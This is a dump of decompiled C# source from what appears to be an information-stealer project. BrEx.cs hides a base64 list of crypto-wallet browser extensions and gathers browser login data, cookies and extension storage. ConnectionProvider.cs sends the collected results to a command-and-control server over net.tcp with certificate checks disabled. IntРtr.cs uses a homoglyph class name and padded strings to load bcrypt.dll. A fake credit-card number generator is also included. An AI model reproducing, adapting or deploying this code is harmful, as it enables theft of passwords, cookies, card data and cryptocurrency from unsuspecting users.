"4532", "4929", "40240071", "4485", "4716", "4" 81 | }; 82 | 83 | 84 | public static string[] VOYAGER_PREFIX_LIST = new[] { "8699" }; 85 | 86 | /* 87 | 'prefix' is the start of the CC number as a string, any number 88 | private of digits 'length' is the length of the CC number to generate. 89 | * Typically 13 or 16 90 | */ 91 | public static string CreateFakeCreditCardNumber(string prefix, int length) 92 | { 93 | string ccnumber = prefix; 94 | 95 | while (ccnumber.Length < (length - 1)) 96 | { 97 | double rnd = (new Random().NextDouble() * 1.0f - 0f); 98 | 99 | ccnumber += Math.Floor(rnd * 10); 100 | 101 | //sleep so we get a different seed 102 | 103 | Thread.Sleep(20); 104 | } 105 | 106 | 107 | // reverse number and convert to int 108 | var reversedCCnumberstring = ccnumber.ToCharArray().Reverse(); 109 | 110 | var reversedCCnumberList = reversedCCnumberstring.Select(c => Convert.ToInt32(c.ToString())); 111 | 112 | // calculate sum 113 | 114 | int sum = 0; 115 | int pos = 0; 116 | int[] reversedCCnumber = reversedCCnumberList.ToArray(); 117 | 118 | while (pos < length - 1) 119 | { 120 | int odd = reversedCCnumber[pos] * 2; 121 | 122 | if (odd > 9) 123 | odd -= 9; 124 | 125 | sum += odd; 126 | 127 | if (pos != (length - 2)) 128 | sum += reversedCCnumber[pos + 1]; 129 | 130 | pos += 2; 131 | } 132 | 133 | // calculate check digit 134 | int checkdigit = 135 | Convert.ToInt32((Math.Floor((decimal)sum / 10) + 1) * 10 - sum) % 10; 136 | 137 | ccnumber += checkdigit; 138 | 139 | return ccnumber; 140 | } 141 | 142 | 143 | public static IEnumerable GetCreditCardNumbers(string[] prefixList, int length, 144 | int howMany) 145 | { 146 | var result = new Stack(); 147 | 148 | for (int i = 0; i < howMany; i++) 149 | { 150 | int randomPrefix = new Random().Next(0, prefixList.Length - 1); 151 | 152 | if (randomPrefix > 1) 153 | { 154 | randomPrefix--; 155 | } 156 | 157 | string ccnumber = prefixList[randomPrefix]; 158 | 159 | result.Push(CreateFakeCreditCardNumber(ccnumber, length)); 160 | } 161 | 162 | return result; 163 | } 164 | 165 | 166 | public static IEnumerable GenerateMasterCardNumbers(int howMany) 167 | { 168 | return GetCreditCardNumbers(MASTERCARD_PREFIX_LIST, 16, howMany); 169 | } 170 | 171 | 172 | public static string GenerateMasterCardNumber() 173 | { 174 | return GetCreditCardNumbers(MASTERCARD_PREFIX_LIST, 16, 1).First(); 175 | } 176 | public static string GenerateVISACardNumber() 177 | { 178 | return GetCreditCardNumbers(VISA_PREFIX_LIST, 16, 1).First(); 179 | } 180 | 181 | public static string GenerateAMEXCardNumber() 182 | { 183 | return GetCreditCardNumbers(AMEX_PREFIX_LIST, 16, 1).First(); 184 | } 185 | 186 | public static bool IsValidCreditCardNumber(string creditCardNumber) 187 | { 188 | try 189 | { 190 | var reversedNumber = creditCardNumber.ToCharArray().Reverse(); 191 | 192 | int mod10Count = 0; 193 | for (int i = 0; i < reversedNumber.Count(); i++) 194 | { 195 | int augend = Convert.ToInt32(reversedNumber.ElementAt(i).ToString()); 196 | 197 | if (((i + 1) % 2) == 0) 198 | { 199 | string productstring = (augend * 2).ToString(); 200 | augend = 0; 201 | for (int j = 0; j < productstring.Length; j++) 202 | { 203 | augend += Convert.ToInt32(productstring.ElementAt(j).ToString()); 204 | } 205 | } 206 | mod10Count += augend; 207 | } 208 | 209 | if ((mod10Count % 10) == 0) 210 | { 211 | return true; 212 | } 213 | } 214 | catch 215 | { 216 | return false; 217 | } 218 | return false; 219 | } 220 | } 221 | } 222 | -------------------------------------------------------------------------------- /Discoed/BrEx.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | 7 | // Token: 0x02000015 RID: 21 8 | public class BrEx : Extractor 9 | { 10 | // Token: 0x0600008F RID: 143 RVA: 0x0000702C File Offset: 0x0000542C 11 | public void Init(IList browserPaths) 12 | { 13 | this.Locals = new List(browserPaths ?? new List()); 14 | char[] array = "ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV0CmFpaWZibmJmb2JwbWVla2lwaGVlaWppbWRwbmxwZ3BwfFRlcnJhU3RhdGlvbgpmbm5lZ3BobG9iamRwa2hlY2Fwa2lqamRrZ2NqaGtpYnxIYXJtb255V2FsbGV0CmFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfENvaW45OFdhbGxldApjZ2Vlb2RwZmFnamNlZWZpZWZsbWRmcGhwbGtlbmxma3xUb25DcnlzdGFsCnBkYWRqa2ZrZ2NhZmdiY2VpbWNwYmthbG5mbmVwYm5rfEthcmRpYUNoYWluCmJmbmFlbG1vbWVpbWhscG1nam5qb3BoaHBra29sanBhfFBoYW50b20KZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8T3h5Z2VuCm1nZmZrZmJpZGloanBvYW9tYWpsYmdjaGRkbGljZ3BufFBhbGlXYWxsZXQKYW9ka2thZ25hZGNib2JmcGdnZm5qZW9uZ2VtamJqY2F8Qm9sdFgKa3Bmb3BrZWxtYXBjb2lwZW1mZW5kbWRjZ2huZWdpbW58TGlxdWFsaXR5V2FsbGV0CmhtZW9ibmZuZmNtZGtkY21sYmxnYWdtZnBmYm9pZWFmfFhkZWZpV2FsbGV0CmxwZmNiamtuaWpwZWVpbGxpZm5raWtnbmNpa2dmaGRvfE5hbWlXYWxsZXQKZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18TWFpYXJEZUZpV2FsbGV0CmJoZ2hvYW1hcGNkcGJvaHBoaWdvb29hZGRpbnBrYmFpfEF1dGhlbnRpY2F0b3IKb29ramxia2lpamluaHBtbmpmZmNvZmpvbmJmYmdhb2N8VGVtcGxlV2FsbGV0".ToCharArray(); 15 | this.PathsCollection = from x in Encoding.UTF8.GetString(Convert.FromBase64CharArray(array, 0, array.Length)).Split(new string[] 16 | { 17 | "\n", 18 | Environment.NewLine 19 | }, StringSplitOptions.RemoveEmptyEntries) 20 | select new KeyValuePair(x.Split(new char[] 21 | { 22 | '|' 23 | })[0], x.Split(new char[] 24 | { 25 | '|' 26 | })[1]); 27 | } 28 | 29 | // Token: 0x06000091 RID: 145 RVA: 0x000070C0 File Offset: 0x000054C0 30 | public override string Id2(Entity_FileSearchInformation scannerArg, FileInfo filePath) 31 | { 32 | return scannerArg.Id5; 33 | } 34 | 35 | // Token: 0x06000092 RID: 146 RVA: 0x000070D8 File Offset: 0x000054D8 36 | public override IEnumerable Id3() 37 | { 38 | List list = new List(); 39 | try 40 | { 41 | List list2 = new List(); 42 | foreach (string baseDirectory in from x in this.Locals 43 | select Environment.ExpandEnvironmentVariables(x)) 44 | { 45 | List list3 = FileCopier.FindPaths(baseDirectory, 1, 1, new string[] 46 | { 47 | new string(new char[] 48 | { 49 | 'L', 50 | 'o', 51 | 'g', 52 | 'i', 53 | 'n', 54 | ' ', 55 | 'D', 56 | 'a', 57 | 't', 58 | 'a' 59 | }), 60 | new string(new char[] 61 | { 62 | 'W', 63 | 'e', 64 | 'b', 65 | ' ', 66 | 'D', 67 | 'a', 68 | 't', 69 | 'a' 70 | }), 71 | new string(new char[] 72 | { 73 | 'C', 74 | 'o', 75 | 'o', 76 | 'k', 77 | 'i', 78 | 'e', 79 | 's' 80 | }) 81 | }); 82 | foreach (string text in list3) 83 | { 84 | try 85 | { 86 | string text2 = string.Empty; 87 | string text3 = string.Empty; 88 | text2 = new FileInfo(text).Directory.FullName; 89 | bool flag = text2.Contains(new string(new char[] 90 | { 91 | 'O', 92 | 'p', 93 | 'e', 94 | 'r', 95 | 'a', 96 | ' ', 97 | 'G', 98 | 'X', 99 | ' ', 100 | 'S', 101 | 't', 102 | 'a', 103 | 'b', 104 | 'l', 105 | 'e' 106 | })); 107 | if (flag) 108 | { 109 | text3 = new string(new char[] 110 | { 111 | 'O', 112 | 'p', 113 | 'e', 114 | 'r', 115 | 'a', 116 | ' ', 117 | 'G', 118 | 'X' 119 | }); 120 | } 121 | else 122 | { 123 | text3 = (text.Contains(new string(new char[] 124 | { 125 | 'A', 126 | 'p', 127 | 'p', 128 | 'D', 129 | 'a', 130 | 't', 131 | 'a', 132 | '\\', 133 | 'R', 134 | 'o', 135 | 'a', 136 | 'm', 137 | 'i', 138 | 'n', 139 | 'g', 140 | '\\' 141 | })) ? FileCopier.ChromeGetRoamingName(text2) : FileCopier.ChromeGetLocalName(text2)); 142 | } 143 | bool flag2 = !string.IsNullOrEmpty(text3); 144 | if (flag2) 145 | { 146 | text3 = text3[0].ToString().ToUpper() + text3.Remove(0, 1); 147 | string text4 = FileCopier.ChromeGetName(text2); 148 | bool flag3 = !string.IsNullOrEmpty(text4); 149 | if (flag3) 150 | { 151 | foreach (KeyValuePair keyValuePair in this.PathsCollection) 152 | { 153 | list.Add(new Entity_FileSearchInformation 154 | { 155 | Id2 = new string(new char[] 156 | { 157 | '*' 158 | }), 159 | Id5 = string.Concat(new string[] 160 | { 161 | text3, 162 | "_", 163 | text4, 164 | "_", 165 | keyValuePair.Value 166 | }), 167 | Id3 = false, 168 | Id1 = Path.Combine(text2, new string(new char[] 169 | { 170 | 'L', 171 | 'o', 172 | 'c', 173 | 'a', 174 | 'l', 175 | ' ', 176 | 'E', 177 | 'x', 178 | 't', 179 | 'e', 180 | 'n', 181 | 's', 182 | 'i', 183 | 'o', 184 | 'n', 185 | ' ', 186 | 'S', 187 | 'e', 188 | 't', 189 | 't', 190 | 'i', 191 | 'n', 192 | 'g', 193 | 's' 194 | }), keyValuePair.Key) 195 | }); 196 | } 197 | } 198 | } 199 | } 200 | catch 201 | { 202 | } 203 | } 204 | } 205 | } 206 | catch 207 | { 208 | } 209 | return list; 210 | } 211 | 212 | // Token: 0x0400000A RID: 10 213 | private List Locals; 214 | 215 | // Token: 0x0400000B RID: 11 216 | private IEnumerable> PathsCollection; 217 | } 218 | -------------------------------------------------------------------------------- /Discoed/ConnectionProvider.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Reflection; 4 | using System.ServiceModel; 5 | using System.ServiceModel.Channels; 6 | using System.ServiceModel.Security; 7 | 8 | // Token: 0x02000009 RID: 9 9 | [Obfuscation(Exclude = true, StripAfterObfuscation = true)] 10 | public class ConnectionProvider 11 | { 12 | // Token: 0x0600002D RID: 45 RVA: 0x000044DC File Offset: 0x000028DC 13 | public bool Id1(string address, string auth) 14 | { 15 | return this.RequestConnection(address, auth) && this.SendLogByFull(); 16 | } 17 | 18 | // Token: 0x0600002E RID: 46 RVA: 0x00004500 File Offset: 0x00002900 19 | [Obfuscation(ApplyToMembers = true, Exclude = true, StripAfterObfuscation = true)] 20 | public bool RequestConnection(string address, string auth) 21 | { 22 | bool result; 23 | try 24 | { 25 | IContextChannel contextChannel = new ChannelFactory(SystemInfoHelper.CreateBind(), new EndpointAddress(new Uri("net.tcp://" + address + "/"), EndpointIdentity.CreateDnsIdentity("localhost"), new AddressHeader[0])) 26 | { 27 | Credentials = 28 | { 29 | ServiceCertificate = 30 | { 31 | Authentication = 32 | { 33 | CertificateValidationMode = X509CertificateValidationMode.None 34 | } 35 | } 36 | } 37 | }.CreateChannel() as IContextChannel; 38 | this.connector = (contextChannel as Entity); 39 | OperationContextScope operationContextScope = new OperationContextScope(contextChannel); 40 | string value = auth; 41 | MessageHeader header = MessageHeader.CreateHeader("Authorization", "ns1", value); 42 | OperationContext.Current.OutgoingMessageHeaders.Add(header); 43 | result = true; 44 | } 45 | catch (Exception ex) 46 | { 47 | result = false; 48 | } 49 | return result; 50 | } 51 | public bool SendLogByFull() 52 | { 53 | bool result; 54 | try 55 | { 56 | result = this.connector.ConnectToC2(); 57 | } 58 | catch (Exception ex) 59 | { 60 | result = false; 61 | } 62 | return result; 63 | } 64 | 65 | // Token: 0x06000030 RID: 48 RVA: 0x000045F8 File Offset: 0x000029F8 66 | public bool Id4(Entity_CollectedResults result) 67 | { 68 | bool result2; 69 | try 70 | { 71 | this.connector.Id3(result); 72 | result2 = true; 73 | } 74 | catch (Exception ex) 75 | { 76 | result2 = false; 77 | } 78 | return result2; 79 | } 80 | 81 | // Token: 0x06000031 RID: 49 RVA: 0x00004630 File Offset: 0x00002A30 82 | public bool Id5(out Entity_Settings args) 83 | { 84 | bool result; 85 | try 86 | { 87 | args = new Entity_Settings(); 88 | args = this.connector.Id2(); 89 | result = true; 90 | } 91 | catch (Exception ex) 92 | { 93 | args = new Entity_Settings(); 94 | result = false; 95 | } 96 | return result; 97 | } 98 | 99 | // Token: 0x06000032 RID: 50 RVA: 0x00004678 File Offset: 0x00002A78 100 | public Entity_ServerResponse Id6(Entity_CollectedResults result) 101 | { 102 | Entity_ServerResponse result2; 103 | try 104 | { 105 | result2 = this.connector.Id4(result); 106 | } 107 | catch (Exception ex) 108 | { 109 | result2 = Entity_ServerResponse.Id1; 110 | } 111 | return result2; 112 | } 113 | 114 | // Token: 0x06000033 RID: 51 RVA: 0x000046B0 File Offset: 0x00002AB0 115 | public Entity_ServerResponse Id7(byte[] result) 116 | { 117 | Entity_ServerResponse result2; 118 | try 119 | { 120 | result2 = this.connector.Id5(result); 121 | } 122 | catch (Exception ex) 123 | { 124 | result2 = Entity_ServerResponse.Id1; 125 | } 126 | return result2; 127 | } 128 | 129 | // Token: 0x06000034 RID: 52 RVA: 0x000046E8 File Offset: 0x00002AE8 130 | public Entity_ServerResponse Id8(List result) 131 | { 132 | Entity_ServerResponse result2; 133 | try 134 | { 135 | result2 = this.connector.Id11(result); 136 | } 137 | catch (Exception ex) 138 | { 139 | result2 = Entity_ServerResponse.Id1; 140 | } 141 | return result2; 142 | } 143 | 144 | // Token: 0x06000035 RID: 53 RVA: 0x00004720 File Offset: 0x00002B20 145 | public Entity_ServerResponse Id9(List result) 146 | { 147 | Entity_ServerResponse result2; 148 | try 149 | { 150 | result2 = this.connector.Id15(result); 151 | } 152 | catch (Exception ex) 153 | { 154 | result2 = Entity_ServerResponse.Id1; 155 | } 156 | return result2; 157 | } 158 | 159 | // Token: 0x06000036 RID: 54 RVA: 0x00004758 File Offset: 0x00002B58 160 | public Entity_ServerResponse Id10(List result) 161 | { 162 | Entity_ServerResponse result2; 163 | try 164 | { 165 | result2 = this.connector.Id6(result); 166 | } 167 | catch (Exception ex) 168 | { 169 | result2 = Entity_ServerResponse.Id1; 170 | } 171 | return result2; 172 | } 173 | 174 | // Token: 0x06000037 RID: 55 RVA: 0x00004790 File Offset: 0x00002B90 175 | public Entity_ServerResponse Id11(List result) 176 | { 177 | Entity_ServerResponse result2; 178 | try 179 | { 180 | result2 = this.connector.Id21(result); 181 | } 182 | catch (Exception ex) 183 | { 184 | result2 = Entity_ServerResponse.Id1; 185 | } 186 | return result2; 187 | } 188 | 189 | // Token: 0x06000038 RID: 56 RVA: 0x000047C8 File Offset: 0x00002BC8 190 | public Entity_ServerResponse Id12(List result) 191 | { 192 | Entity_ServerResponse result2; 193 | try 194 | { 195 | result2 = this.connector.Id12(result); 196 | } 197 | catch (Exception ex) 198 | { 199 | result2 = Entity_ServerResponse.Id1; 200 | } 201 | return result2; 202 | } 203 | 204 | // Token: 0x06000039 RID: 57 RVA: 0x00004800 File Offset: 0x00002C00 205 | public Entity_ServerResponse Id13(List result) 206 | { 207 | Entity_ServerResponse result2; 208 | try 209 | { 210 | result2 = this.connector.Id10(result); 211 | } 212 | catch (Exception ex) 213 | { 214 | result2 = Entity_ServerResponse.Id1; 215 | } 216 | return result2; 217 | } 218 | 219 | // Token: 0x0600003A RID: 58 RVA: 0x00004838 File Offset: 0x00002C38 220 | public Entity_ServerResponse Id14(List result) 221 | { 222 | Entity_ServerResponse result2; 223 | try 224 | { 225 | result2 = this.connector.Id13(result); 226 | } 227 | catch (Exception ex) 228 | { 229 | result2 = Entity_ServerResponse.Id1; 230 | } 231 | return result2; 232 | } 233 | 234 | // Token: 0x0600003B RID: 59 RVA: 0x00004870 File Offset: 0x00002C70 235 | public Entity_ServerResponse Id15(List result) 236 | { 237 | Entity_ServerResponse result2; 238 | try 239 | { 240 | result2 = this.connector.Id8(result); 241 | } 242 | catch (Exception ex) 243 | { 244 | result2 = Entity_ServerResponse.Id1; 245 | } 246 | return result2; 247 | } 248 | 249 | // Token: 0x0600003C RID: 60 RVA: 0x000048A8 File Offset: 0x00002CA8 250 | public Entity_ServerResponse Id16(List result) 251 | { 252 | Entity_ServerResponse result2; 253 | try 254 | { 255 | result2 = this.connector.Id7(result); 256 | } 257 | catch (Exception ex) 258 | { 259 | result2 = Entity_ServerResponse.Id1; 260 | } 261 | return result2; 262 | } 263 | 264 | // Token: 0x0600003D RID: 61 RVA: 0x000048E0 File Offset: 0x00002CE0 265 | public Entity_ServerResponse Id18(List result) 266 | { 267 | Entity_ServerResponse result2; 268 | try 269 | { 270 | result2 = this.connector.Id17(result); 271 | } 272 | catch (Exception ex) 273 | { 274 | result2 = Entity_ServerResponse.Id1; 275 | } 276 | return result2; 277 | } 278 | 279 | // Token: 0x0600003E RID: 62 RVA: 0x00004918 File Offset: 0x00002D18 280 | public Entity_ServerResponse Id19(List result) 281 | { 282 | Entity_ServerResponse result2; 283 | try 284 | { 285 | result2 = this.connector.Id18(result); 286 | } 287 | catch (Exception ex) 288 | { 289 | result2 = Entity_ServerResponse.Id1; 290 | } 291 | return result2; 292 | } 293 | 294 | // Token: 0x0600003F RID: 63 RVA: 0x00004950 File Offset: 0x00002D50 295 | public Entity_ServerResponse Id20(List result) 296 | { 297 | Entity_ServerResponse result2; 298 | try 299 | { 300 | result2 = this.connector.Id9(result); 301 | } 302 | catch (Exception ex) 303 | { 304 | result2 = Entity_ServerResponse.Id1; 305 | } 306 | return result2; 307 | } 308 | 309 | // Token: 0x06000040 RID: 64 RVA: 0x00004988 File Offset: 0x00002D88 310 | public Entity_ServerResponse Id21(List result) 311 | { 312 | Entity_ServerResponse result2; 313 | try 314 | { 315 | result2 = this.connector.Id19(result); 316 | } 317 | catch (Exception ex) 318 | { 319 | result2 = Entity_ServerResponse.Id1; 320 | } 321 | return result2; 322 | } 323 | 324 | // Token: 0x06000041 RID: 65 RVA: 0x000049C0 File Offset: 0x00002DC0 325 | public Entity_ServerResponse Id22(List result) 326 | { 327 | Entity_ServerResponse result2; 328 | try 329 | { 330 | result2 = this.connector.Id14(result); 331 | } 332 | catch (Exception ex) 333 | { 334 | result2 = Entity_ServerResponse.Id1; 335 | } 336 | return result2; 337 | } 338 | 339 | // Token: 0x06000042 RID: 66 RVA: 0x000049F8 File Offset: 0x00002DF8 340 | public Entity_ServerResponse Id23(List result) 341 | { 342 | Entity_ServerResponse result2; 343 | try 344 | { 345 | result2 = this.connector.Id16(result); 346 | } 347 | catch (Exception ex) 348 | { 349 | result2 = Entity_ServerResponse.Id1; 350 | } 351 | return result2; 352 | } 353 | 354 | // Token: 0x06000043 RID: 67 RVA: 0x00004A30 File Offset: 0x00002E30 355 | public Entity_ServerResponse Id24(List result) 356 | { 357 | Entity_ServerResponse result2; 358 | try 359 | { 360 | result2 = this.connector.Id20(result); 361 | } 362 | catch (Exception ex) 363 | { 364 | result2 = Entity_ServerResponse.Id1; 365 | } 366 | return result2; 367 | } 368 | 369 | // Token: 0x06000044 RID: 68 RVA: 0x00004A68 File Offset: 0x00002E68 370 | public bool Id25() 371 | { 372 | bool result; 373 | try 374 | { 375 | this.connector.Id22(); 376 | result = true; 377 | } 378 | catch (Exception ex) 379 | { 380 | result = false; 381 | } 382 | return result; 383 | } 384 | 385 | // Token: 0x04000002 RID: 2 386 | public Entity connector; 387 | } 388 | -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Threading.Tasks.Extensions.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | System.Threading.Tasks.Extensions 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Provides a value type that wraps a and a TResult, only one of which is used. 23 | The result. 24 | 25 | 26 | Initializes a new instance of the class using the supplied task that represents the operation. 27 | The task. 28 | The task argument is null. 29 | 30 | 31 | Initializes a new instance of the class using the supplied result of a successful operation. 32 | The result. 33 | 34 | 35 | Retrieves a object that represents this . 36 | The object that is wrapped in this if one exists, or a new object that represents the result. 37 | 38 | 39 | Configures an awaiter for this value. 40 | true to attempt to marshal the continuation back to the captured context; otherwise, false. 41 | The configured awaiter. 42 | 43 | 44 | Creates a method builder for use with an async method. 45 | The created builder. 46 | 47 | 48 | Determines whether the specified object is equal to the current object. 49 | The object to compare with the current object. 50 | true if the specified object is equal to the current object; otherwise, false. 51 | 52 | 53 | Determines whether the specified object is equal to the current object. 54 | The object to compare with the current object. 55 | true if the specified object is equal to the current object; otherwise, false. 56 | 57 | 58 | Creates an awaiter for this value. 59 | The awaiter. 60 | 61 | 62 | Returns the hash code for this instance. 63 | The hash code for the current object. 64 | 65 | 66 | Gets a value that indicates whether this object represents a canceled operation. 67 | true if this object represents a canceled operation; otherwise, false. 68 | 69 | 70 | Gets a value that indicates whether this object represents a completed operation. 71 | true if this object represents a completed operation; otherwise, false. 72 | 73 | 74 | Gets a value that indicates whether this object represents a successfully completed operation. 75 | true if this object represents a successfully completed operation; otherwise, false. 76 | 77 | 78 | Gets a value that indicates whether this object represents a failed operation. 79 | true if this object represents a failed operation; otherwise, false. 80 | 81 | 82 | Compares two values for equality. 83 | The first value to compare. 84 | The second value to compare. 85 | true if the two values are equal; otherwise, false. 86 | 87 | 88 | Determines whether two values are unequal. 89 | The first value to compare. 90 | The seconed value to compare. 91 | true if the two values are not equal; otherwise, false. 92 | 93 | 94 | Gets the result. 95 | The result. 96 | 97 | 98 | Returns a string that represents the current object. 99 | A string that represents the current object. 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /Discoed/IntРtr.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Runtime.InteropServices; 4 | using System.Security.Cryptography; 5 | using System.Text; 6 | 7 | // Token: 0x02000006 RID: 6 8 | public class IntРtr 9 | { 10 | // Token: 0x06000013 RID: 19 RVA: 0x00003BB1 File Offset: 0x00001FB1 11 | public IntРtr() 12 | { 13 | this.irrpre = MemoryImport.LoadLibrary(Path.Combine(Environment.SystemDirectory, "bcrFileStream.IOypt.dFileStream.IOll".Replace("FileStream.IO", string.Empty))); 14 | } 15 | 16 | // Token: 0x17000001 RID: 1 17 | // (get) Token: 0x06000014 RID: 20 RVA: 0x00003BE4 File Offset: 0x00001FE4 18 | private IntPtr irrpre { get; } 19 | 20 | // Token: 0x06000015 RID: 21 RVA: 0x00003BEC File Offset: 0x00001FEC 21 | public uint D_1(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags) 22 | { 23 | return MemoryImport.Func(MemoryImport.GetProcAddress(this.irrpre, "BCrstring.EmptyyptOpestring.EmptynAlgorithmProvistring.Emptyder".Replace("string.Empty", string.Empty)))(out phAlgorithm, pszAlgId, pszImplementation, dwFlags); 24 | } 25 | 26 | // Token: 0x06000016 RID: 22 RVA: 0x00003C2C File Offset: 0x0000202C 27 | public uint D_2(IntPtr hAlgorithm, uint flags) 28 | { 29 | return MemoryImport.Func(MemoryImport.GetProcAddress(this.irrpre, "BCruintyptCloseAlgorituinthmProvuintider".Replace("uint", string.Empty)))(hAlgorithm, flags); 30 | } 31 | 32 | // Token: 0x06000017 RID: 23 RVA: 0x00003C6C File Offset: 0x0000206C 33 | public uint D_3(IntPtr hKey, byte[] pbInput, int cbInput, ref 